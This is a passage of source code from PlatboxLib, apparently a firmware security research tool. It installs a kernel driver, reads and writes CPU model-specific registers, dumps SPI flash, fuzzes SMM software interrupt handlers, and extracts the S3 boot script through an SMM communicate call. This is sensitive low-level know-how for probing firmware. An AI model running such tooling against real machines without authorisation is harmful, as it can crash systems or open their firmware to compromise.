&edx); 68 | if (eax >= CPUID_VIR_PHY_ADDRESS_SIZE) { 69 | __get_cpuid (CPUID_VIR_PHY_ADDRESS_SIZE, &VirPhyAddressSize, NULL, NULL, NULL); 70 | } else { 71 | return FALSE; 72 | } 73 | 74 | __get_cpuid(CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS, &eax, &ebx, &ecx, &edx); 75 | 76 | UINT32 FiveLevelPage = (ecx >> 16) & 1; 77 | UINT32 PhysicalAddressBits = VirPhyAddressSize & 0xFF; 78 | if ((PhysicalAddressBits > 4 * 9 + 12) && (FiveLevelPage == 1)) { 79 | return TRUE; 80 | } else { 81 | return FALSE; 82 | } 83 | 84 | 85 | #else // _WIN32 86 | int regs[4] = { 0 }; 87 | UINT32 VirPhyAddressSize = 0; 88 | 89 | __cpuidex(®s[0], CPUID_EXTENDED_FUNCTION, 0); 90 | 91 | if (regs[0] >= CPUID_VIR_PHY_ADDRESS_SIZE) { 92 | __cpuidex (®s[0], CPUID_VIR_PHY_ADDRESS_SIZE, 0); 93 | } else { 94 | return FALSE; 95 | } 96 | 97 | VirPhyAddressSize = regs[0]; 98 | 99 | __cpuidex(®s[0], CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS, 0); 100 | UINT32 FiveLevelPage = (regs[2] >> 16) & 1; 101 | UINT32 PhysicalAddressBits = VirPhyAddressSize & 0xFF; 102 | if ((PhysicalAddressBits > 4 * 9 + 12) && (FiveLevelPage == 1)) { 103 | return TRUE; 104 | } else { 105 | return FALSE; 106 | } 107 | 108 | 109 | #endif 110 | } 111 | 112 | 113 | void dump_spi_flash(const char *output_filename) { 114 | switch(get_processor_type()) { 115 | case _INTEL_PROCESSOR: 116 | intel_dump_spi_flash(output_filename); 117 | break; 118 | case _AMD_PROCESSOR: 119 | amd_dump_spi_flash(output_filename); 120 | break; 121 | } 122 | } 123 | 124 | void get_chipset_information() { 125 | switch(get_processor_type()) { 126 | case _INTEL_PROCESSOR: 127 | intel_get_chipset_information(); 128 | break; 129 | case _AMD_PROCESSOR: 130 | 131 | BYTE family, model = 0; 132 | get_processor_model(&family, &model); 133 | printf("Detected chipset:\n"); 134 | printf("=> Family: %02x\n", family); 135 | printf("=> Model: %02x\n", model); 136 | printf("\n"); 137 | 138 | amd_print_chipset_information(); 139 | break; 140 | } 141 | } 142 | 143 | void get_tseg_region(UINT64 *base, UINT32 *size) { 144 | switch(get_processor_type()) { 145 | case _INTEL_PROCESSOR: 146 | get_smrr(base, size); 147 | break; 148 | case _AMD_PROCESSOR: 149 | get_tseg_info(base, size); 150 | break; 151 | } 152 | } 153 | 154 | UINT16 get_smi_trigger_port() { 155 | switch(get_processor_type()) { 156 | case _INTEL_PROCESSOR: 157 | return INTEL_SMI_TRIGGER_PORT; 158 | break; 159 | case _AMD_PROCESSOR: 160 | return get_amd_smi_trigger_port(); 161 | break; 162 | } 163 | 164 | return 0; 165 | } 166 | 167 | 168 | int get_number_of_cores() { 169 | 170 | #ifdef _WIN32 171 | SYSTEM_INFO sysInfo; 172 | GetSystemInfo(&sysInfo); 173 | DWORD result = sysInfo.dwNumberOfProcessors; 174 | return result; 175 | #else 176 | return sysconf(_SC_NPROCESSORS_ONLN); 177 | #endif 178 | } -------------------------------------------------------------------------------- /PlatboxLib/src/global.cpp: -------------------------------------------------------------------------------- 1 | #include "global.h" 2 | #include "msr.h" 3 | 4 | HANDLE g_hDevice = 0; 5 | int DEBUG_MODE = 0; 6 | 7 | void debug_print(const char *fmt, ...) { 8 | if (DEBUG_MODE) { 9 | va_list ap; 10 | va_start(ap, fmt); 11 | vfprintf(stderr, fmt, ap); 12 | va_end(ap); 13 | } 14 | } 15 | 16 | int _prev_debug_mode = 0; 17 | void enable_debug_mode() { 18 | _prev_debug_mode = DEBUG_MODE; 19 | DEBUG_MODE = 1; 20 | } 21 | 22 | void restore_debug_mode() { 23 | DEBUG_MODE = _prev_debug_mode; 24 | } 25 | 26 | char _aux_print_buff[2048]; 27 | 28 | void print_green(const char *fmt, ...) { 29 | #ifdef _WIN32 30 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 31 | 32 | SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN); 33 | va_list ap; 34 | va_start(ap, fmt); 35 | vfprintf(stderr, fmt, ap); 36 | va_end(ap); 37 | 38 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); 39 | #else 40 | 41 | memset(_aux_print_buff, 0x00, sizeof(_aux_print_buff)); 42 | snprintf(_aux_print_buff, sizeof(_aux_print_buff), "\x1b[32m%s\x1b[0m", fmt); 43 | 44 | va_list ap; 45 | va_start(ap, fmt); 46 | vfprintf(stderr, _aux_print_buff, ap); 47 | va_end(ap); 48 | 49 | #endif 50 | } 51 | 52 | void print_red(const char *fmt, ...) { 53 | #ifdef _WIN32 54 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 55 | 56 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED); 57 | va_list ap; 58 | va_start(ap, fmt); 59 | vfprintf(stderr, fmt, ap); 60 | va_end(ap); 61 | 62 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); 63 | #else 64 | 65 | memset(_aux_print_buff, 0x00, sizeof(_aux_print_buff)); 66 | snprintf(_aux_print_buff, sizeof(_aux_print_buff), "\x1b[31m%s\x1b[0m", fmt); 67 | 68 | va_list ap; 69 | va_start(ap, fmt); 70 | vfprintf(stderr, _aux_print_buff, ap); 71 | va_end(ap); 72 | 73 | #endif 74 | } 75 | 76 | 77 | 78 | #pragma comment(lib, "DeltaFuzzLib.lib") 79 | 80 | FUZZER_OBJECT *g_fuzzer; 81 | PCI_ECAM g_pci_ecam; 82 | 83 | 84 | 85 | 86 | void InitializeDeltaFuzz() { 87 | CreateFuzzerObject(&g_fuzzer, 0, TRUE, FALSE); 88 | } 89 | 90 | 91 | void open_platbox_device() { 92 | #ifdef __linux__ 93 | char device_name[256]; 94 | memset(device_name, 0x00, sizeof(device_name)); 95 | sprintf(device_name, "/dev/%s0", KERNETIX_DEVICE_NAME); 96 | int fd = open(device_name, O_RDWR); 97 | if (fd < 0) 98 | { 99 | printf("Can't open device file: %s\n", device_name); 100 | exit(-1); 101 | } 102 | printf("%s opened successfully: %d\n", device_name, fd); 103 | g_hDevice = fd; 104 | 105 | #else // _WIN32 106 | HANDLE h = CreateFileW( 107 | L"\\\\.\\PlatboxDev", 108 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, 109 | FILE_SHARE_READ | FILE_SHARE_WRITE, 110 | NULL, 111 | OPEN_EXISTING, 112 | 0, 113 | NULL 114 | ); 115 | 116 | if (h == NULL || (int)h == -1) { 117 | printf("Error: %08x\n", GetLastError()); 118 | printf("Check Platbox driver is loaded!\n"); 119 | exit(-1); 120 | } 121 | 122 | g_hDevice = h; 123 | 124 | #endif 125 | 126 | } 127 | 128 | void close_platbox_device() { 129 | #ifdef __linux__ 130 | close(g_hDevice); 131 | #else // _WIN32 132 | CloseHandle(g_hDevice); 133 | #endif 134 | } 135 | 136 | 137 | 138 | void start_service() { 139 | #ifdef __linux__ 140 | printf("start_service Unimplemented!"); 141 | exit(-1); 142 | 143 | #else // _WIN32 144 | SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); 145 | 146 | if (!hSCM) { 147 | printf("-> OpenSCManager failed! error: %08x\n", GetLastError()); 148 | return; 149 | } 150 | 151 | SC_HANDLE hSvc = OpenServiceA(hSCM, SVC_NAME, SERVICE_START | DELETE | SERVICE_STOP); 152 | 153 | if (hSvc == NULL) { 154 | printf("-> could not open service %s - error: %08x\n", SVC_NAME, GetLastError()); 155 | } 156 | else { 157 | get_more_privileges(); 158 | 159 | if (StartServiceA(hSvc, 0, NULL)) { 160 | printf("-> service started successfully!\n"); 161 | } 162 | else { 163 | DWORD error = GetLastError(); 164 | if (error == ERROR_SERVICE_ALREADY_RUNNING) { 165 | printf("-> service has already been started!\n"); 166 | } 167 | else { 168 | printf("-> could not start service %s - error: %08x\n", SVC_NAME, error); 169 | } 170 | } 171 | 172 | CloseServiceHandle(hSCM); 173 | } 174 | 175 | CloseServiceHandle(hSCM); 176 | #endif 177 | } 178 | 179 | char service_exe[512]; 180 | void install_driver(char *driverNameArg) { 181 | memset(service_exe, 0x00, sizeof(service_exe)); 182 | 183 | #ifdef __linux__ 184 | system("insmod kernetix_km.ko"); 185 | //exit(-1); 186 | 187 | #else // _WIN32 188 | 189 | char driverName[128] = "\\Platbox.sys"; 190 | 191 | char *pServiceExe = &service_exe[0]; 192 | 193 | if (driverNameArg != NULL) { 194 | pServiceExe = driverNameArg; 195 | } else { 196 | GetCurrentDirectoryA(sizeof(service_exe), pServiceExe); 197 | strcat(pServiceExe, driverName); 198 | } 199 | 200 | get_more_privileges(); 201 | 202 | printf("-> About to install the service: %s\n", pServiceExe); 203 | 204 | 205 | SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); 206 | 207 | if (!hSCM) { 208 | printf("-> OpenSCManager failed! error: %08x\n", GetLastError()); 209 | return; 210 | } 211 | 212 | 213 | SC_HANDLE hSvc = CreateServiceA( 214 | hSCM, 215 | SVC_NAME, 216 | SVC_NAME, 217 | SERVICE_START | DELETE | SERVICE_STOP, 218 | SERVICE_KERNEL_DRIVER, 219 | SERVICE_DEMAND_START, 220 | SERVICE_ERROR_IGNORE, 221 | pServiceExe, 222 | NULL, 223 | NULL, 224 | NULL, 225 | NULL, 226 | NULL 227 | ); 228 | 229 | 230 | if (hSvc == NULL) { 231 | DWORD error_code = GetLastError(); 232 | if (error_code == ERROR_SERVICE_EXISTS) { 233 | start_service(); 234 | } 235 | else { 236 | printf("-> error creating the service - error: %08x\n", error_code); 237 | } 238 | } 239 | else { 240 | SERVICE_STATUS status; 241 | if (QueryServiceStatus(hSvc, &status)) { 242 | if (status.dwCurrentState == SERVICE_RUNNING) { 243 | printf("-> %s service created and started successfully!\n", SVC_NAME); 244 | } 245 | } 246 | CloseServiceHandle(hSvc); 247 | } 248 | 249 | CloseServiceHandle(hSCM); 250 | 251 | 252 | #endif 253 | } 254 | 255 | void stop_service() { 256 | #ifdef __linux__ 257 | printf("stop_service Unimplemented!"); 258 | exit(-1); 259 | 260 | #else // _WIN32 261 | SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); 262 | 263 | if (!hSCM) { 264 | printf("-> OpenSCManager failed! error: %08x\n", GetLastError()); 265 | return; 266 | } 267 | 268 | SC_HANDLE hSvc = OpenServiceA(hSCM, SVC_NAME, SERVICE_ALL_ACCESS); 269 | SERVICE_STATUS status; 270 | if (ControlService(hSvc, SERVICE_CONTROL_STOP, &status)) { 271 | printf("-> service stopped successfully!\n"); 272 | } 273 | else { 274 | printf("-> error stopping service: %08x\n", GetLastError()); 275 | } 276 | 277 | CloseServiceHandle(hSvc); 278 | CloseServiceHandle(hSCM); 279 | 280 | #endif 281 | } 282 | 283 | void remove_driver() { 284 | #ifdef __linux__ 285 | system("rmmod kernetix_km"); 286 | 287 | #else // _WIN32 288 | SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); 289 | 290 | if (!hSCM) { 291 | printf("-> OpenSCManager failed! error: %08x\n", GetLastError()); 292 | return; 293 | } 294 | 295 | SC_HANDLE hSvc = OpenServiceA(hSCM, SVC_NAME, SERVICE_START | DELETE | SERVICE_STOP); 296 | 297 | if (hSvc == NULL) { 298 | printf("-> service can't be opened - error: %08x\n", GetLastError()); 299 | } 300 | else { 301 | if (DeleteService(hSvc)) { 302 | printf("-> %s service was removed successfully\n", SVC_NAME); 303 | } 304 | else { 305 | printf("-> service can't be removed - error: %08x\n", GetLastError()); 306 | } 307 | CloseServiceHandle(hSvc); 308 | } 309 | CloseServiceHandle(hSCM); 310 | 311 | #endif 312 | } 313 | 314 | 315 | void init_os_specifics() { 316 | #ifdef _WIN32 317 | /* Set white foregorund*/ 318 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 319 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); 320 | 321 | resolve_nt_functions(); 322 | find_pml4_idx(); 323 | #endif 324 | } 325 | 326 | void doSleep(UINT64 milliseconds) { 327 | #ifdef _WIN32 328 | Sleep(milliseconds); 329 | #else 330 | usleep(milliseconds * 1000); // convert to ms to us 331 | #endif 332 | } -------------------------------------------------------------------------------- /PlatboxLib/src/linux/placeholder: -------------------------------------------------------------------------------- 1 | dummy -------------------------------------------------------------------------------- /PlatboxLib/src/msr.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "msr.h" 3 | 4 | BOOL do_read_msr(UINT msr, UINT64 *res) { 5 | READ_MSR_CALL msr_call = { 0 }; 6 | msr_call.msr = msr; 7 | 8 | UINT64 result = 0; 9 | 10 | #ifdef __linux__ 11 | msr_call.result = &result; 12 | 13 | int status = -1; 14 | status = ioctl(g_hDevice, IOCTL_READ_MSR, &msr_call); 15 | if (status != 0) { 16 | debug_print("-> failed reading MSR:[%08x]\n", msr_call.msr); 17 | return FALSE; 18 | } else { 19 | debug_print("-> MSR:[%08x]: %lx\n", msr_call.msr, result); 20 | } 21 | 22 | 23 | #elif _WIN32 24 | DWORD bytesReturned = 0; 25 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_READ_MSR, 26 | &msr_call, sizeof(READ_MSR_CALL), 27 | &result, sizeof(UINT64), 28 | &bytesReturned, NULL); 29 | if (NT_SUCCESS(status)) { 30 | debug_print("-> MSR:[%08x]: %p\n", msr_call.msr, result); 31 | } 32 | else { 33 | debug_print("-> failed reading MSR:[%08x]\n", msr_call.msr); 34 | return FALSE; 35 | } 36 | #endif 37 | 38 | if (res != NULL) { 39 | *res = result; 40 | } 41 | 42 | return TRUE; 43 | } 44 | 45 | BOOL do_write_msr(UINT msr, UINT64 value) { 46 | WRITE_MSR_CALL msr_call = { 0 }; 47 | msr_call.msr = msr; 48 | msr_call.value = value; 49 | 50 | #ifdef __linux__ 51 | int status = -1; 52 | status = ioctl(g_hDevice, IOCTL_WRITE_MSR, &msr_call); 53 | if (status != 0) { 54 | debug_print("-> failed writing to MSR:[%08x]\n", msr_call.msr); 55 | return FALSE; 56 | } else { 57 | debug_print("-> Attempted to write %016lx into MSR[%08x]\n", value, msr_call.msr); 58 | } 59 | 60 | #elif _WIN32 61 | DWORD bytesReturned = 0; 62 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_WRITE_MSR, 63 | &msr_call, sizeof(WRITE_MSR_CALL), 64 | NULL, NULL, 65 | &bytesReturned, NULL); 66 | if (NT_SUCCESS(status)) { 67 | debug_print("-> Attempted to write %016llx into MSR[%08x]\n", value, msr_call.msr); 68 | } else { 69 | debug_print("-> failed writing to MSR:[%08x]\n", msr_call.msr); 70 | return FALSE; 71 | } 72 | #endif 73 | 74 | return TRUE; 75 | } 76 | 77 | BOOL do_read_msr_for_core(UINT32 core, UINT msr, UINT64 *res) { 78 | 79 | READ_MSR_FOR_CORE_CALL msr_for_core = { 80 | .core_id = core, 81 | .msr = msr, 82 | .result = 0, 83 | }; 84 | 85 | #ifdef __linux__ 86 | int status = -1; 87 | status = ioctl(g_hDevice, IOCTL_READ_MSR_FOR_CORE, &msr_for_core); 88 | if (status != 0) { 89 | debug_print("-> failed reading MSR:[%08x] for core-%d\n", 90 | msr_for_core.msr, msr_for_core.core_id); 91 | return FALSE; 92 | } 93 | debug_print("-> Core-%d | MSR:[%08x]: %016llx\n", 94 | msr_for_core.msr, msr_for_core.result); 95 | 96 | *res = msr_for_core.result; 97 | 98 | return TRUE; 99 | 100 | #elif _WIN32 101 | UINT64 result = 0; 102 | DWORD bytesReturned = 0; 103 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_READ_MSR_FOR_CORE, 104 | &msr_for_core, sizeof(READ_MSR_FOR_CORE_CALL), 105 | &result, sizeof(UINT64), 106 | &bytesReturned, NULL); 107 | if (NT_SUCCESS(status)) { 108 | debug_print("-> Core-%d | MSR:[%08x]: %016llx\n", msr_for_core.core_id, msr_for_core.msr, result); 109 | } 110 | else { 111 | debug_print("-> failed reading MSR:[%08x] for core-%d\n", msr_for_core.msr, msr_for_core.core_id); 112 | return FALSE; 113 | } 114 | *res = result; 115 | 116 | #endif 117 | } 118 | 119 | 120 | BOOL do_write_msr_for_core(UINT32 core, UINT msr, UINT64 value) { 121 | 122 | WRITE_MSR_FOR_CORE_CALL msr_for_core = { 123 | .core_id = core, 124 | .msr = msr, 125 | .value = value, 126 | }; 127 | 128 | #ifdef __linux__ 129 | int status = -1; 130 | status = ioctl(g_hDevice, IOCTL_WRITE_MSR_FOR_CORE, &msr_for_core); 131 | if (status != 0) { 132 | debug_print("-> failed writing to MSR:[%08x] for core-%d\n", 133 | msr_for_core.msr, msr_for_core.core_id); 134 | return FALSE; 135 | } else { 136 | debug_print("-> Attempted to write %016lx into MSR[%08x] for core-%d\n", 137 | value, msr_for_core.msr, msr_for_core.core_id); 138 | } 139 | 140 | return TRUE; 141 | 142 | #elif _WIN32 143 | DWORD bytesReturned = 0; 144 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_WRITE_MSR_FOR_CORE, 145 | &msr_for_core, sizeof(WRITE_MSR_FOR_CORE_CALL), 146 | NULL, 0, 147 | &bytesReturned, NULL); 148 | if (NT_SUCCESS(status)) { 149 | debug_print("-> Attempted to write %016lx into MSR[%08x] for core-%d\n", 150 | value, msr_for_core.msr, msr_for_core.core_id); 151 | } 152 | else { 153 | debug_print("-> failed writing to MSR:[%08x] for core-%d\n", 154 | msr_for_core.msr, msr_for_core.core_id); 155 | return FALSE; 156 | } 157 | 158 | return TRUE; 159 | #endif 160 | } 161 | 162 | 163 | 164 | 165 | -------------------------------------------------------------------------------- /PlatboxLib/src/smm/smi_fuzz.cpp: -------------------------------------------------------------------------------- 1 | #include "smi_fuzz.h" 2 | #include "smi.h" 3 | 4 | void print_smi_call(SW_SMI_CALL *smi) { 5 | printf("SwSmiNumber: %02x\n", smi->SwSmiNumber); 6 | printf("SwSmiData: %02x\n", smi->SwSmiData); 7 | printf("rax: %p\n", smi->rax); 8 | printf("rbx: %p\n", smi->rbx); 9 | printf("rcx: %p\n", smi->rcx); 10 | printf("rdx: %p\n", smi->rdx); 11 | printf("rsi: %p\n", smi->rsi); 12 | printf("rdi: %p\n", smi->rdi); 13 | } 14 | 15 | void fuzz_smi_number(int sw_smi_num) { 16 | DWORD bytesReturned; 17 | SW_SMI_CALL smi_call = { 0 }; 18 | UINT64 tseg_base = 0; 19 | UINT32 tseg_size = 0; 20 | UINT64 tseg_end = 0; 21 | 22 | printf("--> Fuzzing SW SMI Handlers 00-FF IO B2h\n"); 23 | get_tseg_region(&tseg_base, &tseg_size); 24 | tseg_end = tseg_base + tseg_size; 25 | printf("-> TSEG base: %016llx\n", tseg_base); 26 | printf("-> TSEG end : %016llx\n", tseg_end); 27 | printf("-> SEED: %08x", g_fuzzer->Seed); 28 | 29 | printf("\n--> SwSmiNumber: %02x\n", sw_smi_num); 30 | int j = 0; 31 | for (; ; ) { 32 | 33 | g_fuzzer->fuzz_blob(g_fuzzer, (UCHAR *)&smi_call, sizeof(SW_SMI_CALL)); 34 | 35 | if (tseg_size > 0) { 36 | UINT32 offset = g_fuzzer->get_random(g_fuzzer) % tseg_size; 37 | UINT32 ptr = tseg_base + offset; 38 | 39 | if (g_fuzzer->get_random(g_fuzzer) & 1) 40 | smi_call.rax = ptr; 41 | if (g_fuzzer->get_random(g_fuzzer) & 1) 42 | smi_call.rbx = ptr; 43 | if (g_fuzzer->get_random(g_fuzzer) & 1) 44 | smi_call.rcx = ptr; 45 | if (g_fuzzer->get_random(g_fuzzer) & 1) 46 | smi_call.rdx = ptr; 47 | if (g_fuzzer->get_random(g_fuzzer) & 1) 48 | smi_call.rsi = ptr; 49 | if (g_fuzzer->get_random(g_fuzzer) & 1) { 50 | smi_call.rdi = ptr; 51 | } 52 | } 53 | 54 | smi_call.SwSmiNumber = sw_smi_num; 55 | smi_call.SwSmiData = g_fuzzer->get_random(g_fuzzer) % 256; 56 | //printf("\r--> iteration: %d", j); 57 | print_smi_call(&smi_call); 58 | 59 | trigger_smi(&smi_call); 60 | 61 | j++; 62 | } 63 | } 64 | 65 | 66 | void fuzz_all_smi() { 67 | DWORD bytesReturned; 68 | SW_SMI_CALL smi_call = { 0 }; 69 | UINT64 tseg_base = 0; 70 | UINT32 tseg_size = 0; 71 | UINT64 tseg_end = 0; 72 | 73 | printf("--> Fuzzing SW SMI Handlers 00-FF IO B2h\n"); 74 | get_tseg_region(&tseg_base, &tseg_size); 75 | tseg_end = tseg_base + tseg_size; 76 | printf("-> TSEG base: %016llx\n", tseg_base); 77 | printf("-> TSEG end : %016llx\n", tseg_end); 78 | printf("-> SEED: %08x", g_fuzzer->Seed); 79 | 80 | 81 | for (int i = 0x00; i < 0x100; i++) { 82 | 83 | printf("\n--> SwSmiNumber: %02x\n", i); 84 | for (int j = 0; j < 10000; j++) { 85 | 86 | g_fuzzer->fuzz_blob(g_fuzzer, (UCHAR *)&smi_call, sizeof(SW_SMI_CALL)); 87 | 88 | if (tseg_size > 0) { 89 | UINT32 offset = g_fuzzer->get_random(g_fuzzer) % tseg_size; 90 | UINT32 ptr = tseg_base + offset; 91 | 92 | if (g_fuzzer->get_random(g_fuzzer) & 1) 93 | smi_call.rax = ptr; 94 | if (g_fuzzer->get_random(g_fuzzer) & 1) { 95 | if (g_fuzzer->get_random(g_fuzzer) & 1) 96 | smi_call.rbx = ptr; 97 | else 98 | smi_call.rbx = 0x24483139; 99 | } 100 | 101 | if (g_fuzzer->get_random(g_fuzzer) & 1) 102 | smi_call.rcx = ptr; 103 | if (g_fuzzer->get_random(g_fuzzer) & 1) 104 | smi_call.rdx = ptr; 105 | if (g_fuzzer->get_random(g_fuzzer) & 1) 106 | smi_call.rsi = ptr; 107 | if (g_fuzzer->get_random(g_fuzzer) & 1) { 108 | smi_call.rdi = ptr; 109 | } 110 | } 111 | smi_call.SwSmiNumber = i; 112 | smi_call.SwSmiData = g_fuzzer->get_random(g_fuzzer) % 256; 113 | printf("\r--> iteration: %d", j); 114 | 115 | trigger_smi(&smi_call); 116 | 117 | } 118 | } 119 | } -------------------------------------------------------------------------------- /PlatboxLib/src/smm/smm_communicate.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "smm_communicate.h" 3 | #include "smi.h" 4 | #include "intel_chipset.h" 5 | #include "pci.h" 6 | #include "physmem.h" 7 | #include "msr.h" 8 | #include "global.h" 9 | #include "Util.h" 10 | #include 11 | 12 | #ifdef _WIN32 13 | #include "__win.h" 14 | #elif __linux__ 15 | #include "__linux.h" 16 | #endif 17 | 18 | 19 | UINT64 g_SMMCorePrivateAddr = 0; 20 | UINT64 get_smm_core_private() { 21 | if (g_SMMCorePrivateAddr != 0) { 22 | return g_SMMCorePrivateAddr; 23 | } 24 | 25 | #ifdef __linux__ 26 | 27 | UINT64 EfiRtCodeStart = 0; 28 | UINT64 EfiRtCodeEnd = 0; 29 | 30 | if (read_efi_memory_map() != 0) { 31 | printf("cannot retrieve efi memory map\n"); 32 | return 0; 33 | } 34 | 35 | efi_memory_desc_t *mm_desc = g_EFI_memmap.mm_desc_array; 36 | 37 | for (int i = 0; i < g_EFI_memmap.efi_memmap.nr_map; i++) { 38 | 39 | if (mm_desc->type == RuntimeCode) { 40 | EfiRtCodeStart = mm_desc->phys_addr; 41 | EfiRtCodeEnd = EfiRtCodeStart + mm_desc->num_pages * PAGE_SIZE; 42 | break; 43 | } 44 | 45 | mm_desc++; 46 | } 47 | 48 | debug_print("EfiRtCodeStart: %016lx\n", EfiRtCodeStart); 49 | debug_print("EfiRtCodeEnd: %016lx\n", EfiRtCodeEnd); 50 | 51 | void *ptr = search_in_physical_memory(EfiRtCodeStart, EfiRtCodeEnd, 52 | (BYTE *) SMM_CORE_PRIVATE_DATA_SIGNATURE, strlen(SMM_CORE_PRIVATE_DATA_SIGNATURE)); 53 | 54 | if (!ptr) { 55 | printf("SMM_CORE_PRIVATE_DATA was not found in the provided range\n"); 56 | return 0; 57 | } 58 | 59 | g_SMMCorePrivateAddr = (UINT64) ptr; 60 | 61 | #else // _WIN32 62 | 63 | // This is a lower boundary 64 | UINT32 FADT_addr = GetFADT_Address(); 65 | 66 | // This is an upper boundary 67 | UINT32 HighestOsPABelow4G = get_highest_physical_range_below_4G(); 68 | debug_print("Lower boundary: %08x\n", FADT_addr); 69 | debug_print("Upper boundary: %08x\n", HighestOsPABelow4G); 70 | void *ptr = search_in_physical_memory(FADT_addr, HighestOsPABelow4G, 71 | (BYTE *) SMM_CORE_PRIVATE_DATA_SIGNATURE, strlen(SMM_CORE_PRIVATE_DATA_SIGNATURE)); 72 | 73 | if (!ptr) { 74 | printf("SMM_CORE_PRIVATE_DATA was not found in the provided range\n"); 75 | return NULL; 76 | } 77 | 78 | //printf("RES: %016llx\n", ptr); 79 | 80 | g_SMMCorePrivateAddr = (UINT64) ptr; 81 | 82 | #endif 83 | 84 | return g_SMMCorePrivateAddr; 85 | } 86 | 87 | 88 | void __smm_dump_s3_bootscript(void *ptr_smm_core_private, const char *output_filename) { 89 | 90 | NTSTATUS status; 91 | 92 | GUID gEfiSmmLockBoxCommunicationGuid; 93 | to_guid("2a3cfebd-27e8-4d0a-8b79-d688c2a3e1c0", &gEfiSmmLockBoxCommunicationGuid ); 94 | 95 | GUID mBootScriptDataGuid; 96 | to_guid("AEA6B965-DCF5-4311-B4B8-0F12464494D2", &mBootScriptDataGuid); 97 | 98 | 99 | const UINT alloc_size = PAGE_SIZE * 64; 100 | 101 | struct alloc_user_physmem user_page = {0}; 102 | BOOL res = alloc_user_mem(alloc_size, &user_page); 103 | 104 | EFI_SMM_COMMUNICATE_HEADER *smm_call; 105 | UINT buffer_size; 106 | EFI_SMM_LOCK_BOX_PARAMETER_RESTORE *lockbox_call; 107 | SMM_CORE_PRIVATE_DATA *pSmmCorePrivateData; 108 | SW_SMI_CALL smi_call = {0}; 109 | 110 | if (!res) { 111 | printf("Failed to allocate user physical mem\n"); 112 | goto exit; 113 | } 114 | 115 | memset((void *) user_page.va, 0x00, alloc_size); 116 | 117 | smm_call = (EFI_SMM_COMMUNICATE_HEADER *) user_page.va; 118 | 119 | smm_call->HeaderGuid = gEfiSmmLockBoxCommunicationGuid; 120 | smm_call->MessageLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_RESTORE); 121 | 122 | buffer_size = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_RESTORE) + sizeof(EFI_SMM_COMMUNICATE_HEADER); 123 | 124 | lockbox_call = (EFI_SMM_LOCK_BOX_PARAMETER_RESTORE *) smm_call->Data; 125 | 126 | lockbox_call->Header.Command = EFI_SMM_LOCK_BOX_COMMAND_RESTORE; 127 | lockbox_call->Header.DataLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_RESTORE); 128 | lockbox_call->Header.ReturnStatus = -1; 129 | lockbox_call->Buffer = (EFI_PHYSICAL_ADDRESS) (user_page.pa + buffer_size); 130 | lockbox_call->Length = alloc_size - buffer_size; 131 | lockbox_call->Guid = mBootScriptDataGuid; 132 | 133 | 134 | pSmmCorePrivateData = (SMM_CORE_PRIVATE_DATA *) ptr_smm_core_private; 135 | 136 | pSmmCorePrivateData->CommunicationBuffer = (VOID *) user_page.pa; 137 | pSmmCorePrivateData->BufferSize = buffer_size; 138 | 139 | //debug_print("Memory before the SMI:\n"); 140 | //print_memory(0, (char *) user_page.va, 0x200); 141 | 142 | //getchar(); 143 | 144 | trigger_smi(&smi_call); 145 | 146 | //debug_print("Memory After the SMI:\n"); 147 | //print_memory(0, (char *) user_page.va, 0x200); 148 | 149 | if (lockbox_call->Header.ReturnStatus == EFI_SUCCESS) { 150 | FILE *f = fopen(output_filename, "wb"); 151 | 152 | fwrite((void *) (user_page.va + buffer_size), alloc_size - buffer_size, 1, f); 153 | 154 | fclose(f); 155 | 156 | printf(" -> Written S3 bootscript into %s\n", output_filename); 157 | } else { 158 | printf(" - SMM communicate call failed!\n"); 159 | } 160 | 161 | 162 | unmap_physical_memory((void *) user_page.va, user_page.size); 163 | 164 | exit: 165 | return; 166 | } 167 | 168 | 169 | 170 | void smm_dump_s3_bootscript_manual(UINT64 rtcode_start, UINT64 rtcode_end, const char *output_filename) { 171 | 172 | void *ptr = search_in_physical_memory(rtcode_start, rtcode_end, 173 | (BYTE *) SMM_CORE_PRIVATE_DATA_SIGNATURE, strlen(SMM_CORE_PRIVATE_DATA_SIGNATURE)); 174 | 175 | if (!ptr) { 176 | printf("SMM_CORE_PRIVATE_DATA was not found in the provided range\n"); 177 | return; 178 | } 179 | 180 | __smm_dump_s3_bootscript(ptr, output_filename); 181 | 182 | unmap_physical_memory((void *) ((UINT64)ptr & 0xFFFFFFFFFFFFF000), PAGE_SIZE); 183 | 184 | } 185 | 186 | void smm_dump_s3_bootscript(const char *output_filename) { 187 | 188 | 189 | void *ptr = (void *) get_smm_core_private(); 190 | if (!ptr) { 191 | printf(" - smm_dump_s3_bootscript: failed to find SMM_CORE_PRIVATE_DATA\n"); 192 | return; 193 | } 194 | 195 | printf("g_SMMCorePrivateAddr: %016llx\n", g_SMMCorePrivateAddr); 196 | 197 | __smm_dump_s3_bootscript(ptr, output_filename); 198 | } -------------------------------------------------------------------------------- /PlatboxLib/src/windows/acpidump.cpp: -------------------------------------------------------------------------------- 1 | #include "Util.h" 2 | 3 | 4 | 